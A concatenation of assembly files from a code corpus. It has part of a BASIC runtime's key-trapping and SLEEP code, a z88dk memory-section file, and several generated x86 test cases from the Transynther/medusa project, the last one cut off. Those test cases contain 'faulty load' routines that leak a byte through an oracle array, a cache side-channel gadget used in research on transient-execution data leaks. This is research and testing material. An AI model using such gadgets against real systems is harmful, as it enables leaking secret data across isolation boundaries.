;Dispatch addr. POP CX ;counter. LOOP KEYAL1 ;Until all keys done.. POP DI ; restore this prior to exit JMP SHORT KEYON_EXIT1 NOT_ALL_KEYS: mov ch,bl ; save keynum for B$RDKYBD DEC BX ;MAKE IT 0 TO NUM_TKEYS-1 CMP BX,NUM_TKEYS JNB EVNT_ERROR ;Brif .gt. NUM_TKEYS-1 TEST b$RcoFlg,0FFH ; is ronco presented ? JZ ChkUsrKy ; Brif not CMP BX,NUM_TKEYS-2 ; is F11,F12 JAE NoError ; Brif yes ChkUsrKy: ; check user defined keys CMP BX,NUM_TKEYS-2-NUM_GAP ; is legal user defined keys ? JAE EVNT_ERROR ; Brif not NoError: ; # is in legal range MOV CL,KEYOFF MOV SI,EV_TEXTOFFSET B$RDKYBD ;lo-level rtn to start/stop traping KEYON_EXIT: ; shared exit CALL B$EVNT_SET ;Set Event.. KEYON_EXIT1: cEnd EVNT_ERROR: JMP B$ERR_FC ;*** ;B$InitKeys2 -- initialize keytrapping stuff ; ;**** cProc B$InitKeys2,<PUBLIC,NEAR> cBegin ; Now disable all function keys, cursor keys & user-defined keys MOV AL,DISABLE_TRAP ; Function to disable trapping MOV DX,NUM_TKEYS ; Start with maximum trappable key DISA_KEY: ; Loop until DX = 0 CLI CALL B$RDKYBD ; Disable it STI DEC DX ; Step to next key JNZ DISA_KEY ; and loop back cEnd ;#***************************************************************************** cProc B$ONKA,<FAR,PUBLIC> parmW keynum parmD fpHandler cBegin MOV BX,keynum ; [BX] = requested key MOV CH,NUM_TKEYS-2-NUM_GAP ; if no ronco presented, last legal ; key is 25, NUM_TKEYS including the gap ; and F11/F12 TEST b$RcoFlg,0FFH ; is ronco present ? JZ ChkEnd ; Brif not CMP BL,CH ; is legal user defined keys JBE RoncoHere ; Brif yes CMP BL,NUM_TKEYS-2 ; is possibly F11 or F12 ? JBE EVNT_ERROR ; Brif not RoncoHere: MOV CH,NUM_TKEYS ; extended the range ; 0 or beyond the range will be checked in ; ONFUN ChkEnd: MOV CL,KEYOFF JMP B$ONFUN cEnd nogen SUBTTL SLEEP statement page ;*** ; B$SLEP -- Wait for a given amount of time or for a BASIC event. ; ;Purpose: ; Wait until one of the following occurs: ; N seconds have elapsed ; A trapable BASIC event occurs ; A key is hit ; ; If N = 0 (compiler also generates N = 0 if parameter not specified) ; it functions as if N = infinite. ; ;Entry: ; Number of seconds to sleep on stack ; ;Exit: ; None ; ;Uses: ; Per convention ; ;Exceptions: ; None ; ;****************************************************************************** cProc B$SLEP,<FAR,PUBLIC> parmD secs ; # seconds to wait (0 if no parm) cBegin call B$SetKybdInt ; install kybd int handler if not already done. NoKybdInst: call B$SetClockInt ; set up clock interrupt if not already done mov dx,seg_secs ; DX = high word of # seconds mov ax,off_secs ; AX = low word of # seconds mov cx,dx ; zero seconds specified? or cx,ax jz NoTimeout ; brif so -- no timeout cmp DX,2 ; is it more than SCTIOC can handle? jae NoTimeout ; brif so -- assume no timeout call B$SleepInit ; set up number of seconds to sleep OR b$EventFlags,SLEEPtmr ; activate SLEEP timout timer NoTimeout: OR b$EventFlags,InSLEEP ; set in SLEEP statement flag EventLoop: test b$EventFlags,InSLEEP ; have any events occured? jnz EventLoop ; brif not -- loop until one occurs cEnd page ;*** ;B$xKEYTRAPINIT - Initializer for KEY trapping ; ;Purpose: ; Put address of B$POLKEY in polling dispatch table ; ;Entry: ; None ;Exit: ; None ;Uses: ; None ; ;Exceptions: ;**** cProc B$xKEYTRAPINIT,<FAR> cBegin MOV [B$PollDispTable + (TKEYS_IND * 2)],EV_TEXTOFFSET B$POLKEY MOV [b$pInitKeys1],EV_TEXTOFFSET B$InitKeys1 MOV [b$pInitKeys2],EV_TEXTOFFSET B$InitKeys2 NoKybdInit: cEnd sEnd EV_TEXT END
lib/crt/classic/crt_section_standard.asm
ahjelm/z88dk
640
240011
; Classic Memory map and section setup ; ; This layout suits all the classic machines. Memory placement is ; affected by: ; ; CRT_MODEL: RAM/ROM configuration ; CRT_ORG_CODE: Where code starts executing from ; CRT_ORG_BSS: Where uninitialised global variables are placed ; CRT_ORG_GRAPHICS: Where graphics routines + variables are stored (certain ports only) ; ; Contains the generic variables + features ; ; crt_model = 0 ; everything in RAM ; crt_model = 1 ; ROM model, data section copied ; crt_model = 2 ; ROM model, data section compressed (zx7) ; crt_model = 3 ; ROM model, data section compressed (zx0) INCLUDE "crt/classic/crt_section_code.inc" INCLUDE "crt/classic/crt_section_rodata.inc" SECTION ROMABLE_END IF !__crt_model INCLUDE "crt/classic/crt_section_data.inc" ENDIF INCLUDE "crt/classic/crt_section_bss.inc" IF __crt_model > 0 SECTION DATA org -1 defb 0 ; control name of data binary INCLUDE "crt/classic/crt_section_data.inc" ENDIF SECTION BSS_END IF __crt_org_graphics SECTION HIMEM org __crt_org_graphics SECTION smc_clib SECTION code_graphics SECTION code_himem SECTION rodata_graphics SECTION rodata_himem SECTION data_himem SECTION data_graphics SECTION bss_graphics SECTION bss_himem SECTION HIMEM_END ENDIF
Transynther/x86/_processed/AVXALIGN/_zr_/i9-9900K_12_0xca.log_21829_738.asm
ljhsiun2/medusa
9
241045
<gh_stars>1-10 .global s_prepare_buffers s_prepare_buffers: push %r11 push %r13 push %r9 push %rax push %rbp push %rbx push %rcx push %rdi push %rsi lea addresses_UC_ht+0x600, %rax nop nop nop nop cmp $10014, %rbx mov (%rax), %r9 nop nop nop nop nop dec %rbp lea addresses_UC_ht+0x12670, %r13 nop nop sub $49306, %rbx movb $0x61, (%r13) xor $48240, %rbp lea addresses_UC_ht+0x7270, %rsi lea addresses_UC_ht+0x1c9f0, %rdi nop nop nop nop sub $43009, %r13 mov $109, %rcx rep movsb cmp $43087, %rbp lea addresses_UC_ht+0x3070, %rax nop nop nop nop cmp $50068, %r11 movb $0x61, (%rax) nop sub $16146, %rsi lea addresses_A_ht+0x12440, %r11 nop nop nop nop dec %rbp mov $0x6162636465666768, %rbx movq %rbx, (%r11) nop nop nop nop sub %rdi, %rdi lea addresses_WC_ht+0xebd0, %rcx nop nop nop nop nop sub $62431, %rax mov $0x6162636465666768, %rdi movq %rdi, %xmm0 vmovups %ymm0, (%rcx) nop nop nop nop add $35472, %rdi lea addresses_UC_ht+0x1ba70, %rbx cmp $35725, %rcx mov $0x6162636465666768, %r13 movq %r13, %xmm5 movups %xmm5, (%rbx) nop inc %rax lea addresses_normal_ht+0x18270, %r11 xor $62221, %rbx mov $0x6162636465666768, %r13 movq %r13, %xmm2 movups %xmm2, (%r11) dec %rbp lea addresses_A_ht+0x2c7e, %rsi lea addresses_WC_ht+0x1270, %rdi nop nop nop nop nop xor $36302, %r11 mov $76, %rcx rep movsq nop dec %r11 lea addresses_A_ht+0x4270, %rsi cmp %rcx, %rcx mov $0x6162636465666768, %rbp movq %rbp, (%rsi) nop nop nop nop add %rbp, %rbp lea addresses_D_ht+0x2ab0, %r13 nop dec %rax movl $0x61626364, (%r13) nop nop nop nop nop and %rbx, %rbx lea addresses_normal_ht+0x1e870, %r11 nop nop nop sub %rdi, %rdi movl $0x61626364, (%r11) nop nop nop nop add %rbx, %rbx lea addresses_WC_ht+0x13270, %rbx nop nop dec %rsi mov $0x6162636465666768, %rcx movq %rcx, %xmm6 vmovups %ymm6, (%rbx) nop nop nop nop cmp %rcx, %rcx pop %rsi pop %rdi pop %rcx pop %rbx pop %rbp pop %rax pop %r9 pop %r13 pop %r11 ret .global s_faulty_load s_faulty_load: push %r11 push %r13 push %r15 push %rbp push %rcx // Faulty Load lea addresses_WC+0xfa70, %r15 nop nop nop nop and %rbp, %rbp mov (%r15), %cx lea oracles, %r13 and $0xff, %rcx shlq $12, %rcx mov (%r13,%rcx,1), %rcx pop %rcx pop %rbp pop %r15 pop %r13 pop %r11 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'size': 8, 'NT': False, 'type': 'addresses_WC', 'same': False, 'AVXalign': False, 'congruent': 0}} [Faulty Load] {'OP': 'LOAD', 'src': {'size': 2, 'NT': False, 'type': 'addresses_WC', 'same': True, 'AVXalign': True, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'size': 8, 'NT': False, 'type': 'addresses_UC_ht', 'same': False, 'AVXalign': False, 'congruent': 4}} {'OP': 'STOR', 'dst': {'size': 1, 'NT': False, 'type': 'addresses_UC_ht', 'same': False, 'AVXalign': False, 'congruent': 8}} {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_UC_ht', 'congruent': 11}, 'dst': {'same': False, 'type': 'addresses_UC_ht', 'congruent': 7}} {'OP': 'STOR', 'dst': {'size': 1, 'NT': False, 'type': 'addresses_UC_ht', 'same': False, 'AVXalign': False, 'congruent': 7}} {'OP': 'STOR', 'dst': {'size': 8, 'NT': False, 'type': 'addresses_A_ht', 'same': False, 'AVXalign': False, 'congruent': 3}} {'OP': 'STOR', 'dst': {'size': 32, 'NT': False, 'type': 'addresses_WC_ht', 'same': False, 'AVXalign': False, 'congruent': 5}} {'OP': 'STOR', 'dst': {'size': 16, 'NT': False, 'type': 'addresses_UC_ht', 'same': False, 'AVXalign': False, 'congruent': 10}} {'OP': 'STOR', 'dst': {'size': 16, 'NT': False, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': False, 'congruent': 8}} {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_A_ht', 'congruent': 0}, 'dst': {'same': True, 'type': 'addresses_WC_ht', 'congruent': 6}} {'OP': 'STOR', 'dst': {'size': 8, 'NT': False, 'type': 'addresses_A_ht', 'same': True, 'AVXalign': False, 'congruent': 10}} {'OP': 'STOR', 'dst': {'size': 4, 'NT': False, 'type': 'addresses_D_ht', 'same': False, 'AVXalign': False, 'congruent': 5}} {'OP': 'STOR', 'dst': {'size': 4, 'NT': False, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': False, 'congruent': 8}} {'OP': 'STOR', 'dst': {'size': 32, 'NT': False, 'type': 'addresses_WC_ht', 'same': False, 'AVXalign': False, 'congruent': 9}} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_1466.asm
ljhsiun2/medusa
9
163612
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r12 push %r13 push %r8 push %rcx push %rdi push %rdx push %rsi lea addresses_WT_ht+0x50e, %rdx nop nop sub %r12, %r12 mov $0x6162636465666768, %rsi movq %rsi, %xmm2 and $0xffffffffffffffc0, %rdx vmovntdq %ymm2, (%rdx) nop nop nop cmp $14953, %r8 lea addresses_A_ht+0xdd0e, %r13 nop nop nop nop sub $48869, %r10 movb $0x61, (%r13) nop and $45676, %rdx lea addresses_WT_ht+0x1fbe, %rsi lea addresses_WT_ht+0x1c68e, %rdi nop nop nop nop nop cmp $62512, %rdx mov $125, %rcx rep movsl nop nop nop nop nop sub $2845, %r10 lea addresses_A_ht+0xdc2e, %r12 nop nop nop nop nop cmp $33787, %r13 movups (%r12), %xmm6 vpextrq $0, %xmm6, %rcx xor %r13, %r13 lea addresses_UC_ht+0x170e, %r8 nop nop nop xor %rdi, %rdi mov $0x6162636465666768, %rcx movq %rcx, %xmm5 vmovups %ymm5, (%r8) nop inc %r8 lea addresses_UC_ht+0x1a50e, %r10 nop nop nop nop and %r8, %r8 mov (%r10), %r12d nop nop nop cmp $5953, %rcx lea addresses_A_ht+0xf90e, %rdx xor %rcx, %rcx movw $0x6162, (%rdx) nop nop xor %rdx, %rdx lea addresses_normal_ht+0x448e, %r10 nop nop nop cmp $33528, %rsi mov $0x6162636465666768, %rcx movq %rcx, %xmm0 movups %xmm0, (%r10) nop sub $35293, %rsi pop %rsi pop %rdx pop %rdi pop %rcx pop %r8 pop %r13 pop %r12 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r12 push %r15 push %r8 push %rcx push %rdi push %rdx push %rsi // Store lea addresses_UC+0xc04e, %r12 nop nop nop and %rdx, %rdx movl $0x51525354, (%r12) nop nop nop nop xor $62550, %r8 // Store lea addresses_PSE+0x15080, %r8 nop nop nop nop and %r11, %r11 mov $0x5152535455565758, %r10 movq %r10, (%r8) nop nop nop and $55585, %rdx // Store lea addresses_normal+0x436a, %r10 nop nop cmp $31280, %rsi movl $0x51525354, (%r10) nop nop nop nop nop add $6073, %r15 // Store lea addresses_A+0x35b6, %r8 nop and $48167, %rdx movb $0x51, (%r8) nop nop nop nop sub %r12, %r12 // Store lea addresses_WT+0x1ce36, %rdx nop nop nop nop nop xor %r11, %r11 mov $0x5152535455565758, %r8 movq %r8, %xmm6 vmovups %ymm6, (%rdx) nop nop dec %r15 // Load lea addresses_WC+0x1782e, %r15 nop nop nop nop inc %r8 mov (%r15), %rsi nop nop nop sub $46466, %r8 // Store lea addresses_PSE+0xac0e, %r8 cmp %r12, %r12 mov $0x5152535455565758, %r10 movq %r10, %xmm6 vmovups %ymm6, (%r8) nop nop nop sub %rdx, %rdx // Store lea addresses_PSE+0x17c0e, %r15 nop nop sub $53592, %r8 movb $0x51, (%r15) nop nop nop nop inc %rsi // REPMOV lea addresses_D+0x1590e, %rsi lea addresses_WC+0xec0e, %rdi add $37955, %rdx mov $81, %rcx rep movsl nop nop and $60147, %rdx // Store lea addresses_WC+0x1e00e, %rdi nop nop nop nop nop xor $29285, %r15 movw $0x5152, (%rdi) nop nop nop cmp %r15, %r15 // Faulty Load lea addresses_WT+0x1310e, %r15 nop nop nop nop nop xor %r8, %r8 mov (%r15), %di lea oracles, %rdx and $0xff, %rdi shlq $12, %rdi mov (%rdx,%rdi,1), %rdi pop %rsi pop %rdx pop %rdi pop %rcx pop %r8 pop %r15 pop %r12 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_WT', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'type': 'addresses_UC', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 5}} {'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'AVXalign': False, 'size': 8, 'NT': True, 'same': False, 'congruent': 0}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 2}} {'OP': 'STOR', 'dst': {'type': 'addresses_A', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 3}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 3}} {'src': {'type': 'addresses_WC', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 5}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 8}} {'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'AVXalign': True, 'size': 1, 'NT': False, 'same': False, 'congruent': 6}} {'src': {'type': 'addresses_D', 'congruent': 10, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC', 'congruent': 7, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 8}} [Faulty Load] {'src': {'type': 'addresses_WT', 'AVXalign': False, 'size': 2, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 32, 'NT': True, 'same': False, 'congruent': 10}} {'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'size': 1, 'NT': True, 'same': False, 'congruent': 10}} {'src': {'type': 'addresses_WT_ht', 'congruent': 3, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 3, 'same': True}} {'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 5}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 8}} {'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 9}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'size': 2, 'NT': True, 'same': False, 'congruent': 10}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 5}} {'39': 21829} 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 */
Transynther/x86/_processed/AVXALIGN/_st_/i7-7700_9_0xca.log_21829_1007.asm
ljhsiun2/medusa
9
21942
<reponame>ljhsiun2/medusa<filename>Transynther/x86/_processed/AVXALIGN/_st_/i7-7700_9_0xca.log_21829_1007.asm .global s_prepare_buffers s_prepare_buffers: push %r13 push %r14 push %r9 push %rbp push %rcx push %rdi push %rsi lea addresses_UC_ht+0x1de15, %rbp nop nop nop nop xor %r14, %r14 mov $0x6162636465666768, %r9 movq %r9, (%rbp) nop nop sub $35584, %r13 lea addresses_D_ht+0x1c681, %rsi lea addresses_A_ht+0x1b6bb, %rdi nop nop and $13841, %r9 mov $8, %rcx rep movsb nop nop nop cmp %rdi, %rdi lea addresses_UC_ht+0x16715, %rcx inc %rdi vmovups (%rcx), %ymm1 vextracti128 $0, %ymm1, %xmm1 vpextrq $0, %xmm1, %rbp nop nop nop and $5354, %rcx lea addresses_UC_ht+0x1460d, %rsi dec %r13 vmovups (%rsi), %ymm1 vextracti128 $0, %ymm1, %xmm1 vpextrq $0, %xmm1, %rdi nop nop xor %r9, %r9 lea addresses_WT_ht+0x137be, %rbp nop nop nop nop nop add $32147, %rdi mov $0x6162636465666768, %r9 movq %r9, %xmm5 movups %xmm5, (%rbp) nop nop nop nop nop xor $21101, %rdi lea addresses_WC_ht+0xb6d5, %rcx nop nop nop nop nop cmp $9580, %rsi movups (%rcx), %xmm3 vpextrq $1, %xmm3, %rdi nop nop nop nop cmp %r14, %r14 lea addresses_WT_ht+0x7615, %rsi lea addresses_WT_ht+0x583f, %rdi nop nop dec %rbp mov $18, %rcx rep movsq nop add %r13, %r13 lea addresses_D_ht+0x10215, %rsi lea addresses_A_ht+0xd215, %rdi nop nop nop nop xor %rbp, %rbp mov $115, %rcx rep movsb nop nop cmp %rsi, %rsi lea addresses_A_ht+0x395, %rdi nop nop nop nop nop and %rsi, %rsi movw $0x6162, (%rdi) nop nop nop cmp %r9, %r9 pop %rsi pop %rdi pop %rcx pop %rbp pop %r9 pop %r14 pop %r13 ret .global s_faulty_load s_faulty_load: push %r13 push %r14 push %r8 push %rbx push %rdi push %rdx push %rsi // Store lea addresses_D+0x5b6b, %rdx nop nop nop xor $11633, %r8 movw $0x5152, (%rdx) sub $35299, %rdx // Store lea addresses_A+0x6e97, %r14 nop sub %rsi, %rsi movb $0x51, (%r14) nop nop nop nop nop cmp $3268, %r8 // Store lea addresses_UC+0x1ae15, %rdi nop nop nop nop nop sub %r13, %r13 mov $0x5152535455565758, %rbx movq %rbx, %xmm4 movups %xmm4, (%rdi) nop nop nop nop nop dec %rbx // Load lea addresses_WT+0xa215, %r13 nop nop nop nop nop dec %rbx mov (%r13), %r14w sub %r14, %r14 // Store lea addresses_normal+0x6215, %rdi and $63133, %rdx mov $0x5152535455565758, %r13 movq %r13, %xmm0 movups %xmm0, (%rdi) nop xor %rbx, %rbx // Faulty Load lea addresses_D+0xd615, %rbx nop nop nop cmp %r8, %r8 mov (%rbx), %r14d lea oracles, %rsi and $0xff, %r14 shlq $12, %r14 mov (%rsi,%r14,1), %r14 pop %rsi pop %rdx pop %rdi pop %rbx pop %r8 pop %r14 pop %r13 ret /* <gen_faulty_load> [REF] {'src': {'congruent': 0, 'AVXalign': True, 'same': True, 'size': 16, 'NT': False, 'type': 'addresses_D'}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'congruent': 1, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_D'}} {'OP': 'STOR', 'dst': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_A'}} {'OP': 'STOR', 'dst': {'congruent': 10, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_UC'}} {'src': {'congruent': 8, 'AVXalign': False, 'same': False, 'size': 2, 'NT': True, 'type': 'addresses_WT'}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'congruent': 9, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_normal'}} [Faulty Load] {'src': {'congruent': 0, 'AVXalign': True, 'same': True, 'size': 4, 'NT': False, 'type': 'addresses_D'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'congruent': 11, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_UC_ht'}} {'src': {'congruent': 2, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'dst': {'congruent': 0, 'same': False, 'type': 'addresses_A_ht'}} {'src': {'congruent': 7, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_WT_ht'}} {'src': {'congruent': 4, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_WC_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 10, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'congruent': 1, 'same': False, 